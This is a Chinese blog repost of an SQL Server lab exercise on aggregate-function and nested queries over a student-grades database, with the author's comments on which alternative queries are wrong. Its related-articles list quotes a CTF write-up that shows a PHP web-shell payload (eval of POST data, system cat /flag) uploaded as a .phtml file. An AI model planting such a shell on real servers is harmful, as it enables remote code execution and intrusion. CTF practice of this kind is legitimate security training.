实验六 带函数查询和综合查询(1)

news2025/1/27 16:18:08

实验六 带函数查询和综合查询(1)

一、实验目的
1.掌握Management Studio的使用。
2.掌握带函数查询和综合查询的使用。

二、实验内容及要求
1统计年龄大于30岁的学生的人数。

select count(*)
from student
where year(getdate())-year(birthday)>30

2统计数据结构有多少人80分或以上。

select count(*)
from studentgrade,course
where course_name='数据结构' 
and course.course_id=studentgrade.course_id
and grade>=80

3 查询“0203”课程的最高分的学生的学号。(请分别用TOP1和函数来进行查询,并分析它们的区别)

方法一
select stu_id
from studentgrade
where grade=(
            select max(grade)
            from studentgrade
            where course_id='0203')
      and course_id='0203'
方法二
select top 1 stu_id
from studentgrade
where course_id='0203'
order by grade desc

4 统计各系开设班级的数目(系名称、班级数目),并创建结果表。(需考虑没有班级的系)

select depar_name,count(class_id) as 班级数目
into newtable1
from deparment left outer join class on(deparment.depar_id=class.depar_id)
group by depar_name

5 选修了以“01”开头的课程的学生学号,姓名,选课的课程号。

select student.stu_id,stu_name,course_id
from student,studentgrade
where course_id like '01%'
 and student.stu_id=studentgrade.stu_id

6 统计每科目的最高分、最低分,平均分、总分,并以中文列名显示。

select course_name 课程,max(grade) 最高分,min(grade) 最低分,avg(grade) 平均分,sum(grade) 总分
from studentgrade,course
where studentgrade.course_id=course.course_id
group by course_name

7 所有成绩都在70分以上的学生姓名(提示:使用子查询。需考虑未选课的学生)

方法一:连接查询(group by student.stu_id不能省略stu_id,否则同名的“涂杰杰”只出现一次)
select student.stu_id,stu_name  /*student.stu_id可省略*/
from student,studentgrade
where student.stu_id=studentgrade.stu_id
group by student.stu_id,stu_name   
having min(grade)>=70

方法二:嵌套查询
select stu_id,stu_name
from student
where stu_id in(select stu_id 
                from studentgrade
                group by stu_id
                having min(grade)>=70)

select student.stu_id,stu_name,grade
from student,studentgrade
where student.stu_id=studentgrade.stu_id

8 “数据库”课程得最高分的学生的姓名、性别和所在系(提示:使用子查询)

方法一:/*top 1只能显示第一个最高分,不正确*/
select top 1 stu_name, stu_sex,depar_name
from student,deparment,class,course,studentgrade
where deparment.depar_id=class.depar_id
   and class.class_id=student.class_id
   and student.stu_id=studentgrade.stu_id
   and studentgrade.course_id=course.course_id
   and course_name='数据库' 
   order by grade desc

方法二:/*top 1只能显示第一个最高分,不正确*/
select stu_name, stu_sex,depar_name
from student,deparment,class
where deparment.depar_id=class.depar_id
   and class.class_id=student.class_id
   and stu_id=(select top 1 stu_id
               from studentgrade
               where course_id=(select course_id 
                                from course
                                where course_name='数据库' )
               order by grade desc)

方法3:
select student.stu_id,stu_name, stu_sex,depar_name
from student,deparment,class,studentgrade
where deparment.depar_id=class.depar_id
   and class.class_id=student.class_id
   and student.stu_id=studentgrade.stu_id 
  and grade= (select max(grade) 
            from studentgrade
            where course_id=(select course_id 
                                from course
                                where course_name='数据库' )
               )
/*错误,不是数据库的最高分,如果和数据库的最高分相同的人也会出现,为什么?*/


select student.stu_id,stu_name, stu_sex,depar_name
from student,deparment,class,studentgrade,course
where deparment.depar_id=class.depar_id
   and class.class_id=student.class_id
   and student.stu_id=studentgrade.stu_id 
  and course.course_id=studentgrade.course_id
and grade= (select max(grade) 
            from studentgrade
            where course_id=(select course_id 
                                from course
                                where course_name='数据库' )
               )
and course_name='数据库'
方法 4:
select student.stu_id,stu_name, stu_sex,depar_name
from student,deparment,class,studentgrade,course
where deparment.depar_id=class.depar_id
   and class.class_id=student.class_id
   and student.stu_id=studentgrade.stu_id 
  and course.course_id=studentgrade.course_id
and grade= (select max(grade) 
            from studentgrade,course
            where studentgrade.course_id=course.course_id
                and course_name='数据库' 
               )
and course_name='数据库'

9 至少选修了两门课及以上的学生姓名和性别

select stu_name,stu_sex
from student
where stu_id in (select stu_id
              from studentgrade
              group by stu_id
              having count(*)>=2)    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2284019.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[ACTF2020 新生赛]Upload1

题目 以为是前端验证&#xff0c;试了一下PHP传不上去 可以创建一个1.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中 <script languagephp>eval($_POST[md]);</script><script languagephp>system(cat /flag);&l…

SpringBoot整合Swagger UI 用于提供接口可视化界面

目录 一、引入相关依赖 二、添加配置文件 三、测试 四、Swagger 相关注解 一、引入相关依赖 图像化依赖 Swagger UI 用于提供可视化界面&#xff1a; <dependency><groupId>io.springfox</groupId><artifactId>springfox-swagger-ui</artifactI…

深度学习项目--基于LSTM的糖尿病预测探究(pytorch实现)

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 前言 LSTM模型一直是一个很经典的模型&#xff0c;一般用于序列数据预测&#xff0c;这个可以很好的挖掘数据上下文信息&#xff0c;本文将使用LSTM进行糖尿病…

LeetCode - Google 大模型校招10题 第1天 Attention 汇总 (3题)

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/145368666 GroupQueryAttention(分组查询注意力机制) 和 KVCache(键值缓存) 是大语言模型中的常见架构&#xff0c;GroupQueryAttention 是注意力…

Kotlin开发(七):对象表达式、对象声明和委托的奥秘

Kotlin 让代码更优雅&#xff01; 每个程序员都希望写出优雅高效的代码&#xff0c;但现实往往不尽人意。对象表达式、对象声明和 Kotlin 委托正是为了解决代码中的复杂性而诞生的。为什么选择这个主题&#xff1f;因为它不仅是 Kotlin 语言的亮点之一&#xff0c;还能极大地提…

数据库、数据仓库、数据湖有什么不同

数据库、数据仓库和数据湖是三种不同的数据存储和管理技术&#xff0c;它们在用途、设计目标、数据处理方式以及适用场景上存在显著差异。以下将从多个角度详细说明它们之间的区别&#xff1a; 1. 数据结构与存储方式 数据库&#xff1a; 数据库主要用于存储结构化的数据&…

【2024年华为OD机试】 (B卷,100分)- 字符串摘要(JavaScriptJava PythonC/C++)

一、问题描述 题目描述 给定一个字符串的摘要算法&#xff0c;请输出给定字符串的摘要值。具体步骤如下&#xff1a; 去除字符串中非字母的符号&#xff1a;只保留字母字符。处理连续字符&#xff1a;如果出现连续字符&#xff08;不区分大小写&#xff09;&#xff0c;则输…

DIY QMK量子键盘

最近放假了&#xff0c;趁这个空余在做一个分支项目&#xff0c;一款机械键盘&#xff0c;量子键盘取自固件名称QMK&#xff08;Quantum Mechanical Keyboard&#xff09;。 键盘作为计算机或其他电子设备的重要输入设备之一&#xff0c;通过将按键的物理动作转换为数字信号&am…

mamba论文学习

rnn 1986 训练速度慢 testing很快 但是很快就忘了 lstm 1997 训练速度慢 testing很快 但是也会忘&#xff08;序列很长的时候&#xff09; GRU实在lstm的基础上改进&#xff0c;改变了一些门 transformer2017 训练很快&#xff0c;testing慢些&#xff0c;时间复杂度高&am…

智慧消防营区一体化安全管控 2024 年度深度剖析与展望

在 2024 年&#xff0c;智慧消防营区一体化安全管控领域取得了令人瞩目的进展&#xff0c;成为保障营区安全稳定运行的关键力量。这一年&#xff0c;行业在政策驱动、技术创新应用、实践成果及合作交流等方面呈现出多元且深刻的发展态势&#xff0c;同时也面临着一系列亟待解决…

解锁微服务:五大进阶业务场景深度剖析

目录 医疗行业&#xff1a;智能诊疗的加速引擎 电商领域&#xff1a;数据依赖的破局之道 金融行业&#xff1a;运维可观测性的提升之路 物流行业&#xff1a;智慧物流的创新架构 综合业务&#xff1a;服务依赖的优化策略 医疗行业&#xff1a;智能诊疗的加速引擎 在医疗行业迈…

javascript-es6 (一)

作用域&#xff08;scope&#xff09; 规定了变量能够被访问的“范围”&#xff0c;离开了这个“范围”变量便不能被访问 局部作用域 函数作用域&#xff1a; 在函数内部声明的变量只能在函数内部被访问&#xff0c;外部无法直接访问 function getSum(){ //函数内部是函数作用…

jenkins-k8s pod方式动态生成slave节点

一. 简述&#xff1a; 使用 Jenkins 和 Kubernetes (k8s) 动态生成 Slave 节点是一种高效且灵活的方式来管理 CI/CD 流水线。通过这种方式&#xff0c;Jenkins 可以根据需要在 Kubernetes 集群中创建和销毁 Pod 来执行任务&#xff0c;从而充分利用集群资源并实现更好的隔离性…

【云安全】云原生-K8S-简介

K8S简介 Kubernetes&#xff08;简称K8S&#xff09;是一种开源的容器编排平台&#xff0c;用于管理容器化应用的部署、扩展和运维。它由Google于2014年开源并交给CNCF&#xff08;Cloud Native Computing Foundation&#xff09;维护。K8S通过提供自动化、灵活的功能&#xf…

aws(学习笔记第二十六课) 使用AWS Elastic Beanstalk

aws(学习笔记第二十六课) 使用aws Elastic Beanstalk 学习内容&#xff1a; AWS Elastic Beanstalk整体架构AWS Elastic Beanstalk的hands onAWS Elastic Beanstalk部署node.js程序包练习使用AWS Elastic Beanstalk的ebcli 1. AWS Elastic Beanstalk整体架构 官方的guide AWS…

反向代理模块。。

1 概念 1.1 反向代理概念 反向代理是指以代理服务器来接收客户端的请求&#xff0c;然后将请求转发给内部网络上的服务器&#xff0c;将从服务器上得到的结果返回给客户端&#xff0c;此时代理服务器对外表现为一个反向代理服务器。 对于客户端来说&#xff0c;反向代理就相当于…

C语言的灵魂——指针(1)

指针是C语言的灵魂&#xff0c;有了指针C语言才能完成一些复杂的程序&#xff1b;没了指针就相当于C语言最精髓的部分被去掉了&#xff0c;可见指针是多么重要。废话不多讲我们直接开始。 指针 一&#xff0c;内存和地址二&#xff0c;编址三&#xff0c;指针变量和地址1&#…

14-6-2C++STL的list

(一&#xff09;list对象的带参数构造 1.list&#xff08;elem);//构造函数将n个elem拷贝给本身 #include <iostream> #include <list> using namespace std; int main() { list<int> lst(3,7); list<int>::iterator it; for(itlst.begi…

Ubuntu Server 安装 XFCE4桌面

Ubuntu Server没有桌面环境&#xff0c;一些软件有桌面环境使用起来才更加方便&#xff0c;所以我尝试安装桌面环境。常用的桌面环境有&#xff1a;GNOME、KDE Plasma、XFCE4等。这里我选择安装XFCE4桌面环境&#xff0c;主要因为它是一个极轻量级的桌面环境&#xff0c;适合内…

一个简单的自适应html5导航模板

一个简单的 HTML 导航模板示例&#xff0c;它包含基本的导航栏结构&#xff0c;同时使用了 CSS 进行样式美化&#xff0c;让导航栏看起来更美观。另外&#xff0c;还添加了一些 JavaScript 代码&#xff0c;用于在移动端实现导航菜单的展开和收起功能。 PHP <!DOCTYPE htm…